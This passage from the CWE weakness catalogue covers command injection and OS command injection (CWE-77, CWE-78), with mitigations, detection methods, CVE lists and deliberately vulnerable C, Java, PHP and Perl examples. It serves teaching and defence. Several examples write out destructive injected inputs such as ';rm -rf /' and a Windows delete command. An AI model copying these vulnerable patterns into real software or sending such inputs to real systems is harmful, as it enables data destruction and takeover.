Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

If at all possible, use library calls rather than external processes to recreate the desired functionality.

**Phase: Implementation**

If possible, ensure that all external commands called from the program are statically created.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Operation**

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

**Phase: System Configuration**

Assign permissions that prevent the user from accessing/opening privileged files.

**Demonstrative Examples****Example 1:**

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

*Example Language: C*

*(Bad)*

```
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form `";rm -rf /"`, then the call to `system()` fails to execute `cat` due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if `argv[1]` is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

**Example 2:**

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the `rman` utility and then run a `cleanup.bat` script to delete some temporary files. The script `rmanDB.bat` accepts a single

command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

*Example Language: Java*

*(Bad)*

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
    \"&&c:\\util\\cleanup.bat\"");
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\\*.\"", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

### Example 3:

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

*Example Language: Java*

*(Bad)*

```
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

### Example 4:

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

*Example Language: C*

*(Bad)*

```
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;
    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)));
    system(command);
    return (0);
}
```

Used normally, the output is simply the contents of the file requested:

Example Language:

(Informative)

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

Example Language:

(Attack)

```
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*
```

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

## Observed Examples

Reference	Description
<b>CVE-2022-36069</b>	Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2022-36069">https://www.cve.org/CVERecord?id=CVE-2022-36069</a>
<b>CVE-1999-0067</b>	Canonical example of OS command injection. CGI program does not neutralize " " metacharacter when invoking a phonebook program. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0067">https://www.cve.org/CVERecord?id=CVE-1999-0067</a>
<b>CVE-2020-9054</b>	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-9054">https://www.cve.org/CVERecord?id=CVE-2020-9054</a>
<b>CVE-2022-1509</b>	injection of sed script syntax ("sed injection") <a href="https://www.cve.org/CVERecord?id=CVE-2022-1509">https://www.cve.org/CVERecord?id=CVE-2022-1509</a>
<b>CVE-2021-41282</b>	injection of sed script syntax ("sed injection") <a href="https://www.cve.org/CVERecord?id=CVE-2021-41282">https://www.cve.org/CVERecord?id=CVE-2021-41282</a>
<b>CVE-2019-13398</b>	injection of sed script syntax ("sed injection") <a href="https://www.cve.org/CVERecord?id=CVE-2019-13398">https://www.cve.org/CVERecord?id=CVE-2019-13398</a>
<b>CVE-2019-12921</b>	image program allows injection of commands in "Magick Vector Graphics (MVG)" language. <a href="https://www.cve.org/CVERecord?id=CVE-2019-12921">https://www.cve.org/CVERecord?id=CVE-2019-12921</a>
<b>CVE-2020-11698</b>	anti-spam product allows injection of SNMP commands into configuration file <a href="https://www.cve.org/CVERecord?id=CVE-2020-11698">https://www.cve.org/CVERecord?id=CVE-2020-11698</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2124
MemberOf	<b>C</b>	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	<b>C</b>	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2130
MemberOf	<b>C</b>	929	OWASP Top Ten 2013 Category A1 - Injection	928	2182
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

Nature	Type	ID	Name	V	Page
MemberOf	C	1005	7PK - Input Validation and Representation	700	2214
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2228
MemberOf	C	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2258
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Mapping

Use for Mapping: Allowed-with-Review (this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review). Rationale: CWE-77 is often used when OS command injection (CWE-78) was intended instead [REF-1287]. Comments: if the weakness involves a command language besides OS shell invocation, then CWE-77 could be used.

### Terminology

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.) Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Command Injection
CLASP			Command injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command
SEI CERT Perl Coding Standard	IDS34-PL	CWE More Specific	Do not pass untrusted, unsanitized data to a command interpreter

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters
40	Manipulating Writeable Terminal Devices
43	Exploiting Multiple Input Interpretation Layers
75	Manipulating Writeable Configuration Files
76	Manipulating Web Input to File System Calls
136	LDAP Injection
183	IMAP/SMTP Command Injection
248	Command Injection

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

**Weakness ID** : 78

**Structure** : Simple

**Abstraction** : Base

### Description

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

### Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

- The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use `system("nslookup [HOSTNAME]")` to run `nslookup` and allow the user to supply a `HOSTNAME`, which is used as an argument. Attackers cannot prevent `nslookup` from executing. However, if the program does not remove command separators from the `HOSTNAME` argument, attackers could place the separators into the arguments, which allows them to execute their own program after `nslookup` has finished executing.
- The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use `exec([COMMAND])` to execute the `[COMMAND]` that was supplied by the user. If the `COMMAND` is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like `exec()` and `CreateProcess()`, the attacker might not be able to combine multiple commands together in the same line.



From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141
CanAlsoBe		88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	188
CanFollow		184	Incomplete List of Disallowed Inputs	441

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Shell injection** :

**Shell metacharacters** :

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	DoS: Crash, Exit, or Restart	
Availability	Read Files or Directories	
Non-Repudiation	Modify Files or Directories	
	Read Application Data	
	Modify Application Data	
	Hide Activities	
	<i>Attackers could execute unauthorized commands, which could then be used to disable the product, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.</i>	

## Detection Methods

### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

### Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

*Effectiveness = High*

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

If at all possible, use library calls rather than external processes to recreate the desired functionality.

#### **Phase: Architecture and Design**

#### **Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

#### **Phase: Architecture and Design**

*Strategy = Attack Surface Reduction*

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

#### **Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side

checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

**Phase: Implementation**

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation**

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

**Phase: Architecture and Design**

*Strategy = Parameterization*

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the `system()` function accepts a string that contains the entire command to be executed, whereas `execl()`, `execve()`, and others require an array of strings, one for each argument. In Windows, `CreateProcess()` only accepts one command at a time. In Perl, if `system()` is provided with an array of arguments, then it will quote each of the arguments.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected

value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Phase: Operation**

*Strategy = Compilation or Build Hardening*

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

**Phase: Operation**

*Strategy = Environment Hardening*

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

**Phase: Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

**Phase: Operation**

*Strategy = Sandbox or Jail*

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

### Phase: Operation

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

#### Phase: Operation

#### Phase: Implementation

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

### Demonstrative Examples

#### Example 1:

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

*Example Language: PHP*

*(Bad)*

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

The `$userName` variable is not checked for malicious input. An attacker could set the `$userName` variable to an arbitrary OS command such as:

*Example Language:*

*(Attack)*

```
;rm -rf /
```

Which would result in `$command` being:



*Example Language:**(Result)*

```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

**Example 2:**

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

*Example Language: C**(Bad)*

```
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

**Example 3:**

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

*Example Language: Perl**(Bad)*

```
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
    while (<$fh>) {
        print escapeHTML($_);
        print "<br>\n";
    }
    close($fh);
}
```

Suppose an attacker provides a domain name like this:

*Example Language:**(Attack)*

```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

*Example Language:**(Result)*

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

#### Example 4:

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

Example Language: Java

(Bad)

```
String script = System.getProperty("SCRIPTNAME");
if (script != null)
    System.exec(script);
```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

#### Example 5:

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

Example Language: Java

(Bad)

```
public String coordinateTransformLatLonToUTM(String coordinates)
{
    String utmCoords = null;
    try {
        String latlonCoords = coordinates;
        Runtime rt = Runtime.getRuntime();
        Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
        // process results of coordinate transform
        // ...
    }
    catch(Exception e) {...}
    return utmCoords;
}
```

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

#### Example 6:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Example Language: Java

(Bad)

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
```

```
"&&c:\utl\cleanup.bat")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the `backuptype` parameter read from the user. Typically the `Runtime.exec()` function will not execute multiple commands, but in this case the program first runs the `cmd.exe` shell in order to run multiple commands with a single call to `Runtime.exec()`. Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form `"& del c:\dbms\*.*`", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

### Observed Examples

Reference	Description
<b>CVE-2020-10987</b>	OS command injection in Wi-Fi router, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-10987">https://www.cve.org/CVERecord?id=CVE-2020-10987</a>
<b>CVE-2020-10221</b>	Template functionality in network configuration management tool allows OS command injection, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-10221">https://www.cve.org/CVERecord?id=CVE-2020-10221</a>
<b>CVE-2020-9054</b>	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-9054">https://www.cve.org/CVERecord?id=CVE-2020-9054</a>
<b>CVE-1999-0067</b>	Canonical example of OS command injection. CGI program does not neutralize " " metacharacter when invoking a phonebook program. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0067">https://www.cve.org/CVERecord?id=CVE-1999-0067</a>
<b>CVE-2001-1246</b>	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous <code>popen()</code> call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1246">https://www.cve.org/CVERecord?id=CVE-2001-1246</a>
<b>CVE-2002-0061</b>	Web server allows command execution using " " (pipe) character. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0061">https://www.cve.org/CVERecord?id=CVE-2002-0061</a>
<b>CVE-2003-0041</b>	FTP client does not filter " " from filenames returned by the server, allowing for OS command injection. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0041">https://www.cve.org/CVERecord?id=CVE-2003-0041</a>
<b>CVE-2008-2575</b>	Shell metacharacters in a filename in a ZIP archive <a href="https://www.cve.org/CVERecord?id=CVE-2008-2575">https://www.cve.org/CVERecord?id=CVE-2008-2575</a>
<b>CVE-2002-1898</b>	Shell metacharacters in a <code>telnet://</code> link are not properly handled when the launching application processes the link. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1898">https://www.cve.org/CVERecord?id=CVE-2002-1898</a>
<b>CVE-2008-4304</b>	OS command injection through environment variable. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4304">https://www.cve.org/CVERecord?id=CVE-2008-4304</a>
<b>CVE-2008-4796</b>	OS command injection through <code>https://</code> URLs <a href="https://www.cve.org/CVERecord?id=CVE-2008-4796">https://www.cve.org/CVERecord?id=CVE-2008-4796</a>
<b>CVE-2007-3572</b>	Chain: incomplete denylist for OS command injection <a href="https://www.cve.org/CVERecord?id=CVE-2007-3572">https://www.cve.org/CVERecord?id=CVE-2007-3572</a>
